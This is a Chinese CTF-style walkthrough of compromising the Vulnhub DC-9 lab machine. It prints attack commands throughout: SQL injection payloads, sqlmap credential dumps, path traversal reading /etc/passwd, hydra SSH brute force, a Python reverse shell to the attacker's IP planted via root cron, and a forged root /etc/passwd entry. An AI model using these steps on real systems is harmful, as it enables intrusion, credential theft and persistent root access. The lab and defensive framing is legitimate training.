DC-9靶机深度渗透:从SQL注入到端口敲门的艺术与技术
在网络安全领域,渗透测试是一项既需要扎实技术功底又需要创造性思维的工作。Vulnhub平台上的DC系列靶机因其精心设计的漏洞场景而广受安全爱好者欢迎。本文将深入剖析DC-9靶机的渗透过程,不仅展示标准的技术路线,更会揭示那些容易被忽视的细节和思维方法。
1. 靶机环境与初步侦查
DC-9靶机延续了DC系列的传统,目标是通过系统性的渗透测试获取root权限并读取最终的flag。与真实环境类似,靶机隐藏了多个安全漏洞,需要测试者像侦探一样逐步发现线索。
环境准备阶段需要注意几个关键点:
- 确保攻击机(Kali Linux)与靶机处于同一网络段
- 建议使用NAT模式进行网络配置,避免不必要的网络干扰
- 记录初始IP分配情况,便于后续识别靶机IP
使用基础探测命令快速定位靶机:
nmap -sn 192.168.1.0/24
这个简单的扫描会列出网络中所有活跃主机。通过排除已知设备(如网关、攻击机本身),通常可以快速确定靶机IP地址。
端口与服务识别是渗透测试的基石。对目标进行全面扫描:
nmap -sV -p- -T4 靶机IP
参数说明:
-sV:服务版本探测-p-:扫描所有65535个端口-T4:加快扫描速度
扫描结果通常会显示80端口(HTTP服务)开放,而22端口(SSH)初始状态为关闭——这是一个重要线索,暗示可能需要特殊方式激活SSH服务。
2. Web应用漏洞挖掘与利用
DC-9的Web界面看似简单,却暗藏玄机。专业的渗透测试者会系统性地检查每个可能的风险点。
2.1 目录结构与敏感文件发现
使用专业工具扫描网站目录:
gobuster dir -u http://靶机IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
或者使用dirsearch:
python3 dirsearch.py -u http://靶机IP -e php
虽然常规扫描可能收获有限,但不要忽视手动检查网页源代码、robots.txt文件以及常见的备份文件(如index.php.bak、config.php.bak等)。
2.2 SQL注入漏洞的深度利用
在员工查询功能处,通过简单测试即可发现SQL注入漏洞。经典测试方法:
' OR 1=1 --
' OR 1=2 --
观察返回结果的差异可以确认注入点存在。
使用sqlmap进行自动化利用:
sqlmap -u "http://靶机IP/results.php" --data="search=1" --risk=3 --level=5 --batch --dbs
获取数据库信息后,重点提取用户凭证:
sqlmap -u "http://靶机IP/results.php" --data="search=1" -D Staff -T Users --dump
关键技巧:
- 注意观察数据库中的密码哈希类型(如MD5、SHA1等)
- 使用John the Ripper破解哈希:
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-MD5 - 获得的凭证可能适用于多个服务(Web后台、SSH等)
2.3 文件包含漏洞的创造性利用
成功登录后台后,"File does not exist"的提示暗示可能存在文件包含漏洞。尝试经典路径遍历:
http://靶机IP/welcome.php?file=../../../../etc/passwd
高级利用技巧:
- 查看系统日志文件(如/var/log/auth.log)尝试日志污染
- 检查/proc/self/environ等特殊文件
- 通过包含临时上传文件实现代码执行
在DC-9中,最关键的发现是/etc/knockd.conf文件,其中包含了端口敲门的序列:
[options]
logfile = /var/log/knockd.log
[openSSH]
sequence = 7469,8475,9842
seq_timeout = 5
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 5
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
3. 端口敲门技术与SSH访问控制
端口敲门(Port Knocking)是一种隐蔽的访问控制机制,通过按特定顺序访问一系列关闭的端口来触发防火墙规则变更,从而开放目标服务。
3.1 端口敲门的实现方式
在DC-9靶机中,需要依次访问7469、8475、9842三个端口才能激活SSH服务。实现方法多样:
使用netcat:
nc -zv 靶机IP 7469
nc -zv 靶机IP 8475
nc -zv 靶机IP 9842
或者使用nmap:
nmap -Pn -p 7469 靶机IP
nmap -Pn -p 8475 靶机IP
nmap -Pn -p 9842 靶机IP
专业提示:
- 注意顺序必须严格正确
- 各次敲门需要在短时间内完成(通常5-10秒内)
- 完成后立即验证22端口是否开放:
nmap -p 22 靶机IP
3.2 SSH暴力破解的艺术
获得SSH访问机会后,使用之前收集的凭证进行尝试。若直接登录失败,可组织系统化的暴力破解:
-
整理用户名和密码字典
-
使用hydra进行有节制的爆破:
hydra -L users.txt -P passwords.txt ssh://靶机IP -t 4 -vV参数说明:
-t 4:控制并发连接数,避免触发防御机制-vV:显示详细进度信息
-
针对发现的用户,检查其家目录下的隐藏文件和异常目录:
ls -la /home/用户名 find /home/用户名 -type f -name ".*" -exec ls -la {} \;
在DC-9中,janitor用户的隐藏目录.secrets-for-putin包含重要线索,可以扩展密码字典进行二次爆破。
4. 权限提升与系统控制
获取普通用户shell后,系统性的权限提升检查至关重要。以下是专业渗透测试者的标准流程:
4.1 基础信息收集
# 系统信息
uname -a
cat /etc/issue
cat /etc/*-release
# 用户信息
id
whoami
cat /etc/passwd
cat /etc/shadow
# 进程信息
ps aux
top -n 1
# 网络信息
ifconfig
netstat -antup
iptables -L
# 定时任务
crontab -l
ls -la /etc/cron*
# SUID/SGID文件
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# 可写目录
find / -writable -type d 2>/dev/null
4.2 利用sudo权限提权
检查用户的sudo权限:
sudo -l
在DC-9中,fredf用户可以无密码执行/opt/devstuff/dist/test/test。逆向分析这个二进制文件:
file /opt/devstuff/dist/test/test
strings /opt/devstuff/dist/test/test
发现其实是Python编译的二进制文件,通过查找找到源代码:
find / -name test.py 2>/dev/null
分析源代码发现这是一个文件追加工具,可以用于:
- 写入定时任务获取root shell
- 直接修改/etc/passwd添加特权用户
方法一:定时任务提权
创建反弹shell脚本reverse.py:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机IP",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
创建crontab条目:
echo '*/5 * * * * root python3 /home/fredf/reverse.py' > cron.txt
使用test工具写入系统crontab:
sudo /opt/devstuff/dist/test/test cron.txt /etc/crontab
在攻击机启动监听:
nc -lvnp 8888
方法二:/etc/passwd提权
生成加密密码:
openssl passwd -1 -salt evil 123456
创建伪造的passwd条目:
echo 'evil:$1$evil$qFmFHjOd6pL69vKGK5sRj/:0:0::/root:/bin/bash' > fake.txt
写入系统passwd文件:
sudo /opt/devstuff/dist/test/test fake.txt /etc/passwd
切换用户:
su evil
密码:123456
4.3 获取flag与痕迹清理
成功获取root权限后,通常在/root目录下可以找到flag文件:
cat /root/flag.txt
专业渗透测试者还会:
- 检查其他用户的敏感文件
- 查找数据库中的额外信息
- 分析系统日志了解防御机制
- 必要时清理活动痕迹
5. 防御策略与安全启示
DC-9靶机展示了多种现实世界中存在的安全风险。针对这些漏洞,企业可以采取以下防御措施:
针对SQL注入:
- 使用参数化查询或ORM框架
- 实施最小权限原则的数据库账户
- 部署WAF防护常见注入模式
针对端口敲门:
- 考虑更安全的替代方案如单包授权(SPA)
- 实现动态敲门序列
- 结合TOTP等双因素认证
针对权限提升:
- 定期审计sudo权限和SUID/SGID文件
- 实施文件完整性监控
- 限制cron任务和系统服务的权限
渗透测试的真正价值不在于获取root权限本身,而在于通过这个过程理解系统的薄弱环节,从而构建更强大的防御体系。DC-9靶机通过精心设计的漏洞链,完美诠释了"攻击者只需要找到一个漏洞,而防御者需要防护所有漏洞"的网络安全本质。
1245



被折叠的 条评论
为什么被折叠?



